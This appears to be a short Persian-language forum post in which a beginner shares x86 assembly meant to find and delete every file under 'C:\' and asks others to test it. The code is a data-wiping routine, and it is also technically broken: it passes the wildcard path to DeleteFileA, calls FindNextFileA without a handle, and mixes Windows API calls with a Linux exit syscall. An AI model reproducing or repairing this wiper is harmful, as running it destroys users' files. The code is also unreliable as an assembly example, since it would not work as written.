نیاز به تست داره
section .data
path db 'C:\*.*', 0
section .text
extern DeleteFileA, FindFirstFileA, FindNextFileA, FindClose
global _start
_start:
; Find the first file in the directory
push path
call FindFirstFileA
test eax, eax
jz _done
_delete_file:
; Delete the file
push path
call DeleteFileA
test eax, eax
jz _done
; Find the next file
call FindNextFileA
test eax, eax
jnz _delete_file
_done:
; Close the find handle
call FindClose
; Exit the program
mov eax, 1
xor ebx, ebx
int 0x80
کسی هست تست کنه
(assembly)
تازه شروع به یاد گیریش کردم زیاد بلد نیستم